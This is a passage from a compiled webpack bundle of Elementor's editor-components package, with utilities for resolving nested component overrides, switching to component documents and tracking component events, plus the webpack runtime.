 * // Instance editing mode (with hash prefixing)
 * getContainerByOriginId('element-1', 'instance-abc')
 * // returns container with id='{hash}_element-1' and originId='element-1'
 */
function getContainerByOriginId(originElementId, instanceElementId) {
  if (!instanceElementId) {
    return (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.getContainer)(originElementId);
  }
  const instanceContainer = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.getContainer)(instanceElementId);
  if (!instanceContainer) {
    return null;
  }
  const legacyWindow = window;
  return legacyWindow.elementor?.getContainerByKeyValue?.({
    key: 'originId',
    value: originElementId,
    parent: instanceContainer.view
  }) ?? null;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/get-overridable-prop.ts":
/*!************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/get-overridable-prop.ts ***!
  \************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getOverridableProp: function() { return /* binding */ getOverridableProp; }
/* harmony export */ });
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");


function getOverridableProp({
  componentId,
  overrideKey
}) {
  const overridableProps = (0,_store_store__WEBPACK_IMPORTED_MODULE_1__.selectOverridableProps)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_0__.__getState)(), componentId);
  if (!overridableProps) {
    return undefined;
  }
  return overridableProps.props[overrideKey];
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/get-prop-type-for-component-override.ts":
/*!****************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/get-prop-type-for-component-override.ts ***!
  \****************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getPropTypeForComponentOverride: function() { return /* binding */ getPropTypeForComponentOverride; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__);

const getPropTypeForComponentOverride = overridableProp => {
  if (overridableProp.originPropFields) {
    return getPropType(overridableProp.originPropFields);
  }
  const {
    widgetType,
    propKey
  } = overridableProp;
  return getPropType({
    widgetType,
    propKey
  });
};
function getPropType({
  widgetType,
  propKey
}) {
  const widgetPropsSchema = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_0__.getWidgetsCache)()?.[widgetType]?.atomic_props_schema;
  return widgetPropsSchema?.[propKey];
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/is-component-instance.ts":
/*!*************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/is-component-instance.ts ***!
  \*************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   isComponentInstance: function() { return /* binding */ isComponentInstance; }
/* harmony export */ });
/* harmony import */ var _consts__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../consts */ "./packages/packages/core/editor-components/src/consts.ts");

function isComponentInstance(elementModel) {
  return [elementModel.widgetType, elementModel.elType].includes(_consts__WEBPACK_IMPORTED_MODULE_0__.COMPONENT_WIDGET_TYPE);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/is-pro-components-supported.ts":
/*!*******************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/is-pro-components-supported.ts ***!
  \*******************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   isProComponentsSupported: function() { return /* binding */ isProComponentsSupported; },
/* harmony export */   isProOutdatedForComponents: function() { return /* binding */ isProOutdatedForComponents; }
/* harmony export */ });
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/utils */ "@elementor/utils");
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_utils__WEBPACK_IMPORTED_MODULE_0__);

const MIN_PRO_VERSION_FOR_COMPONENTS = '4.0';
function isProComponentsSupported() {
  return (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.hasProInstalled)() && (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.isProAtLeast)(MIN_PRO_VERSION_FOR_COMPONENTS);
}
function isProOutdatedForComponents() {
  return (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.hasProInstalled)() && !(0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.isProAtLeast)(MIN_PRO_VERSION_FOR_COMPONENTS);
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/overridable-props-utils.ts":
/*!***************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/overridable-props-utils.ts ***!
  \***************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   getMatchingOverride: function() { return /* binding */ getMatchingOverride; }
/* harmony export */ });
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");


function getMatchingOverride(overrides, overrideKey) {
  return overrides?.find(override => {
    const overridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentOverridablePropTypeUtil.extract(override);
    if (overridableValue) {
      const overrideValue = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.extract(overridableValue.origin_value);
      return overrideValue?.override_key === overrideKey;
    }
    return override.value.override_key === overrideKey;
  }) ?? null;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/resolve-override-prop-value.ts":
/*!*******************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/resolve-override-prop-value.ts ***!
  \*******************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   resolveOverridePropValue: function() { return /* binding */ resolveOverridePropValue; }
/* harmony export */ });
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");


const resolveOverridePropValue = originalPropValue => {
  const isOverridable = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentOverridablePropTypeUtil.isValid(originalPropValue);
  if (isOverridable) {
    return getOverridableValue(originalPropValue);
  }
  const isOverride = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.isValid(originalPropValue);
  if (isOverride) {
    return getOverrideValue(originalPropValue);
  }
  return originalPropValue;
};
function getOverridableValue(overridableProp) {
  const overridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentOverridablePropTypeUtil.extract(overridableProp);
  if (!overridableValue) {
    return null;
  }
  const isOverride = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.isValid(overridableValue.origin_value);
  if (isOverride) {
    return getOverrideValue(overridableValue.origin_value);
  }
  return overridableValue.origin_value;
}
function getOverrideValue(overrideProp) {
  const overrideValue = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.extract(overrideProp);
  if (!overrideValue) {
    return null;
  }
  return overrideValue.override_value;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/resolve-overrides-chain.ts":
/*!***************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/resolve-overrides-chain.ts ***!
  \***************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   buildOverridesMap: function() { return /* binding */ buildOverridesMap; },
/* harmony export */   resolveOverridesChain: function() { return /* binding */ resolveOverridesChain; }
/* harmony export */ });
/* harmony import */ var _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../prop-types/component-instance-override-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-override-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../prop-types/component-instance-overrides-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-overrides-prop-type.ts");
/* harmony import */ var _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../prop-types/component-instance-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-instance-prop-type.ts");
/* harmony import */ var _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../prop-types/component-overridable-prop-type */ "./packages/packages/core/editor-components/src/prop-types/component-overridable-prop-type.ts");
/* harmony import */ var _get_container_by_origin_id__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./get-container-by-origin-id */ "./packages/packages/core/editor-components/src/utils/get-container-by-origin-id.ts");
/* harmony import */ var _get_overridable_prop__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./get-overridable-prop */ "./packages/packages/core/editor-components/src/utils/get-overridable-prop.ts");






// Recursively walks down a chain of nested component instances to find the innermost element
// and collect the overrides mapping for it.
// Returns the resolved inner element with its overrides mapping,
// or { isChainBroken: true } if any level in the chain is no longer overridable.
function resolveOverridesChain({
  outerOverridableProp,
  outerInstanceId,
  overridesMapping = {}
}) {
  // Stop condition: no originPropFields means we've reached the most inner component instance
  if (!outerOverridableProp.originPropFields) {
    const innerElement = (0,_get_container_by_origin_id__WEBPACK_IMPORTED_MODULE_4__.getContainerByOriginId)(outerOverridableProp.elementId, outerInstanceId);
    if (!innerElement) {
      throw new Error(`Inner element not found inside instance. elementId: ${outerOverridableProp.elementId}, instanceId: ${outerInstanceId}`);
    }
    return {
      isChainBroken: false,
      innerElement,
      overridesMapping
    };
  }

  // Step 1: Find the intermediate component instance and read its settings.
  const currentInstance = (0,_get_container_by_origin_id__WEBPACK_IMPORTED_MODULE_4__.getContainerByOriginId)(outerOverridableProp.elementId, outerInstanceId);
  if (!currentInstance) {
    // One of the instances in the chain was deleted.
    return {
      isChainBroken: true
    };
  }
  const {
    componentId,
    overrides
  } = extractComponentInstanceSettings(currentInstance);
  if (!componentId) {
    throw new Error(`Component ID not found for current instance. currentInstanceId: ${currentInstance.id}. outerInstanceId: ${outerInstanceId}`);
  }

  // Collect overrides from this level, translating keys for exposed-further props.
  const mergedOverrides = buildOverridesMap(overridesMapping, overrides ?? []);

  // Find the overridable-override that matches the outer overridable prop's key,
  // to get the next level's overridable prop.
  const override = findOverrideByOuterKey(overrides, outerOverridableProp.overrideKey);
  const overrideKey = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.extract(override)?.override_key;
  if (!override || !overrideKey) {
    // No matching override found for the current level - it means it's no longer overridable.
    return {
      isChainBroken: true
    };
  }
  const overridableProp = (0,_get_overridable_prop__WEBPACK_IMPORTED_MODULE_5__.getOverridableProp)({
    componentId,
    overrideKey
  });
  if (!overridableProp) {
    throw new Error(`Overridable prop not found. componentId: ${componentId}, overrideKey: ${overrideKey}`);
  }

  // Step 4: Recurse into the next nesting level.
  return resolveOverridesChain({
    outerOverridableProp: overridableProp,
    outerInstanceId: currentInstance.id,
    overridesMapping: mergedOverrides
  });
}

/**
 * Builds overrides map from instances chain:
 * At each level, we collect overrides from the current instance and merge them with the overrides from the outer levels.
 *
 * For exposed-further overrides (overridable wrapping an override), we have outer key (overridable's) and inner key (override's).
 * If a higher level already set a value for the outer key, that value is carried forward to the inner key
 * — same logic as the componentOverridableTransformer in the render pipeline.
 *
 * For simple overrides, that are not exposed further, we just use the override's key and value.
 *
 * @param existing       - Previously accumulated overrides from outer levels.
 * @param levelOverrides - The overrides array from the current level instance.
 */
function buildOverridesMap(existing, levelOverrides) {
  const result = {
    ...existing
  };
  for (const item of levelOverrides) {
    const overridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_3__.componentOverridablePropTypeUtil.extract(item);
    if (overridableValue) {
      // Exposed-further: overridable wraps an inner override with a different key.
      const override = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.extract(overridableValue.origin_value);
      if (!override) {
        continue;
      }
      const outerKey = overridableValue.override_key;
      const innerKey = override.override_key;
      const innerValue = override.override_value;

      // If an upper level already set a value for the outer key, carry it forward to the inner key.
      const higherLevelOverride = existing[outerKey];
      if (higherLevelOverride) {
        const outerValue = higherLevelOverride.value;
        result[innerKey] = {
          value: outerValue ?? innerValue,
          outermostKey: higherLevelOverride.outermostKey ?? outerKey
        };
        continue;
      }
      result[innerKey] = {
        value: innerValue,
        outermostKey: outerKey
      };
    } else {
      // Simple override: not exposed further, we just store the override's key and value.
      const override = _prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.extract(item);
      if (!override) {
        continue;
      }
      const key = override.override_key;
      const value = override.override_value;
      result[key] = {
        value
      };
    }
  }
  return result;
}
function extractComponentInstanceSettings(element) {
  const instanceSetting = element.settings?.get('component_instance');
  const instanceValue = _prop_types_component_instance_prop_type__WEBPACK_IMPORTED_MODULE_2__.componentInstancePropTypeUtil.extract(instanceSetting);
  const componentId = instanceValue?.component_id?.value;
  const overrides = _prop_types_component_instance_overrides_prop_type__WEBPACK_IMPORTED_MODULE_1__.componentInstanceOverridesPropTypeUtil.extract(instanceValue?.overrides);
  return {
    componentId,
    overrides
  };
}

// Finds the inner override prop whose wrapping overridable matches the given outer key.
function findOverrideByOuterKey(overrides, outerKey) {
  if (!overrides) {
    return null;
  }
  const overridableOverride = overrides.find(item => {
    const overridableValue = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_3__.componentOverridablePropTypeUtil.extract(item);
    if (!overridableValue) {
      return false;
    }
    return overridableValue.override_key === outerKey;
  });
  const override = _prop_types_component_overridable_prop_type__WEBPACK_IMPORTED_MODULE_3__.componentOverridablePropTypeUtil.extract(overridableOverride)?.origin_value;
  if (!override || !_prop_types_component_instance_override_prop_type__WEBPACK_IMPORTED_MODULE_0__.componentInstanceOverridePropTypeUtil.isValid(override)) {
    return null;
  }
  return override;
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/switch-to-component.ts":
/*!***********************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/switch-to-component.ts ***!
  \***********************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   buildUniqueSelector: function() { return /* binding */ buildUniqueSelector; },
/* harmony export */   expandNavigator: function() { return /* binding */ expandNavigator; },
/* harmony export */   switchToComponent: function() { return /* binding */ switchToComponent; }
/* harmony export */ });
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/editor-documents */ "@elementor/editor-documents");
/* harmony import */ var _elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-elements */ "@elementor/editor-elements");
/* harmony import */ var _elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-v1-adapters */ "@elementor/editor-v1-adapters");
/* harmony import */ var _elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__);



async function switchToComponent(componentId, componentInstanceId, element) {
  const selector = getSelector(element, componentInstanceId);
  (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.invalidateDocumentData)(componentId);
  await (0,_elementor_editor_documents__WEBPACK_IMPORTED_MODULE_0__.switchToDocument)(componentId, {
    selector,
    mode: 'autosave',
    setAsInitial: false,
    shouldScroll: false
  });
  const currentDocumentContainer = (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.getCurrentDocumentContainer)();
  const topLevelElement = currentDocumentContainer?.children?.[0];
  if (topLevelElement) {
    (0,_elementor_editor_elements__WEBPACK_IMPORTED_MODULE_1__.selectElement)(topLevelElement.id);
    expandNavigator();
  }
}
async function expandNavigator() {
  await (0,_elementor_editor_v1_adapters__WEBPACK_IMPORTED_MODULE_2__.__privateRunCommand)('navigator/expand-all');
}
function getSelector(element, componentInstanceId) {
  if (element) {
    return buildUniqueSelector(element);
  }
  if (componentInstanceId) {
    return `[data-id="${componentInstanceId}"]`;
  }
  return undefined;
}
function buildUniqueSelector(element) {
  const selectors = [];
  let current = element.closest('[data-id]');
  while (current) {
    const dataId = current.dataset.id;
    const isComponentInstance = current.hasAttribute('data-elementor-id');
    if (isComponentInstance) {
      selectors.unshift(`[data-id="${dataId}"]`);
    }
    current = current.parentElement?.closest('[data-id]') ?? null;
  }
  if (selectors.length === 0) {
    const closestElement = element.closest('[data-id]');
    if (closestElement?.dataset?.id) {
      return `[data-id="${closestElement.dataset.id}"]`;
    }
  }
  return selectors.join(' ');
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/utils/tracking.ts":
/*!************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/utils/tracking.ts ***!
  \************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   onElementDrop: function() { return /* binding */ onElementDrop; },
/* harmony export */   trackComponentEvent: function() { return /* binding */ trackComponentEvent; }
/* harmony export */ });
/* harmony import */ var _elementor_events__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/events */ "@elementor/events");
/* harmony import */ var _elementor_events__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_events__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/store */ "@elementor/store");
/* harmony import */ var _elementor_store__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_store__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _store_store__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../store/store */ "./packages/packages/core/editor-components/src/store/store.ts");




// TODO: Remove this type in version 4.4.0
/** @deprecated since 4.2.1 - use `ExecutedBy` instead */

const FEATURE_NAME = 'Components';
const trackComponentEvent = ({
  action,
  source,
  executedBy,
  ...data
}) => {
  if (source === 'system' || executedBy === 'system') {
    return;
  }
  const {
    dispatchEvent,
    config
  } = (0,_elementor_events__WEBPACK_IMPORTED_MODULE_0__.getMixpanel)();
  if (!config?.names?.components?.[action]) {
    return;
  }
  const name = config.names.components[action];
  dispatchEvent?.(name, {
    ...data,
    executed_by: executedBy ?? source,
    'Feature name': FEATURE_NAME
  });
};

// TODO: Remove this function in version 4.4.0 - moved to pro
const onElementDrop = (_args, element) => {
  if (!(element?.model?.get('widgetType') === 'e-component')) {
    return;
  }
  const editorSettings = element.model.get('editor_settings');
  const componentName = editorSettings?.title;
  const componentUID = editorSettings?.component_uid;
  const instanceId = element.id;
  const createdThisSession = (0,_store_store__WEBPACK_IMPORTED_MODULE_2__.selectCreatedThisSession)((0,_elementor_store__WEBPACK_IMPORTED_MODULE_1__.__getState)());
  const isSameSessionReuse = componentUID && createdThisSession.includes(componentUID);
  const eventsManagerConfig = window.elementorCommon.eventsManager.config;
  const {
    locations,
    secondaryLocations
  } = eventsManagerConfig;
  trackComponentEvent({
    action: 'instanceAdded',
    executedBy: 'user',
    instance_id: instanceId,
    component_uid: componentUID,
    component_name: componentName,
    is_same_session_reuse: isSameSessionReuse,
    location: locations.widgetPanel,
    secondary_location: secondaryLocations.componentsTab
  });
};

/***/ }),

/***/ "@elementor/editor":
/*!*****************************************!*\
  !*** external ["elementorV2","editor"] ***!
  \*****************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editor"];

/***/ }),

/***/ "@elementor/editor-canvas":
/*!***********************************************!*\
  !*** external ["elementorV2","editorCanvas"] ***!
  \***********************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorCanvas"];

/***/ }),

/***/ "@elementor/editor-controls":
/*!*************************************************!*\
  !*** external ["elementorV2","editorControls"] ***!
  \*************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorControls"];

/***/ }),

/***/ "@elementor/editor-current-user":
/*!****************************************************!*\
  !*** external ["elementorV2","editorCurrentUser"] ***!
  \****************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorCurrentUser"];

/***/ }),

/***/ "@elementor/editor-documents":
/*!**************************************************!*\
  !*** external ["elementorV2","editorDocuments"] ***!
  \**************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorDocuments"];

/***/ }),

/***/ "@elementor/editor-editing-panel":
/*!*****************************************************!*\
  !*** external ["elementorV2","editorEditingPanel"] ***!
  \*****************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorEditingPanel"];

/***/ }),

/***/ "@elementor/editor-elements":
/*!*************************************************!*\
  !*** external ["elementorV2","editorElements"] ***!
  \*************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorElements"];

/***/ }),

/***/ "@elementor/editor-elements-panel":
/*!******************************************************!*\
  !*** external ["elementorV2","editorElementsPanel"] ***!
  \******************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorElementsPanel"];

/***/ }),

/***/ "@elementor/editor-embedded-documents-manager":
/*!*****************************************************************!*\
  !*** external ["elementorV2","editorEmbeddedDocumentsManager"] ***!
  \*****************************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorEmbeddedDocumentsManager"];

/***/ }),

/***/ "@elementor/editor-notifications":
/*!******************************************************!*\
  !*** external ["elementorV2","editorNotifications"] ***!
  \******************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorNotifications"];

/***/ }),

/***/ "@elementor/editor-panels":
/*!***********************************************!*\
  !*** external ["elementorV2","editorPanels"] ***!
  \***********************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorPanels"];

/***/ }),

/***/ "@elementor/editor-props":
/*!**********************************************!*\
  !*** external ["elementorV2","editorProps"] ***!
  \**********************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorProps"];

/***/ }),

/***/ "@elementor/editor-templates":
/*!**************************************************!*\
  !*** external ["elementorV2","editorTemplates"] ***!
  \**************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorTemplates"];

/***/ }),

/***/ "@elementor/editor-ui":
/*!*******************************************!*\
  !*** external ["elementorV2","editorUi"] ***!
  \*******************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorUi"];

/***/ }),

/***/ "@elementor/editor-v1-adapters":
/*!***************************************************!*\
  !*** external ["elementorV2","editorV1Adapters"] ***!
  \***************************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["editorV1Adapters"];

/***/ }),

/***/ "@elementor/events":
/*!*****************************************!*\
  !*** external ["elementorV2","events"] ***!
  \*****************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["events"];

/***/ }),

/***/ "@elementor/http-client":
/*!*********************************************!*\
  !*** external ["elementorV2","httpClient"] ***!
  \*********************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["httpClient"];

/***/ }),

/***/ "@elementor/icons":
/*!****************************************!*\
  !*** external ["elementorV2","icons"] ***!
  \****************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["icons"];

/***/ }),

/***/ "@elementor/schema":
/*!*****************************************!*\
  !*** external ["elementorV2","schema"] ***!
  \*****************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["schema"];

/***/ }),

/***/ "@elementor/store":
/*!****************************************!*\
  !*** external ["elementorV2","store"] ***!
  \****************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["store"];

/***/ }),

/***/ "@elementor/ui":
/*!*************************************!*\
  !*** external ["elementorV2","ui"] ***!
  \*************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["ui"];

/***/ }),

/***/ "@elementor/utils":
/*!****************************************!*\
  !*** external ["elementorV2","utils"] ***!
  \****************************************/
/***/ (function(module) {

module.exports = window["elementorV2"]["utils"];

/***/ }),

/***/ "@wordpress/i18n":
/*!******************************!*\
  !*** external ["wp","i18n"] ***!
  \******************************/
/***/ (function(module) {

module.exports = window["wp"]["i18n"];

/***/ }),

/***/ "react":
/*!**************************!*\
  !*** external ["React"] ***!
  \**************************/
/***/ (function(module) {

module.exports = window["React"];

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	!function() {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = function(module) {
/******/ 			var getter = module && module.__esModule ?
/******/ 				function() { return module['default']; } :
/******/ 				function() { return module; };
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	!function() {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = function(exports, definition) {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	!function() {
/******/ 		__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	!function() {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = function(exports) {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	}();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk.
!function() {
/*!***************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/index.ts ***!
  \***************************************************************/
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
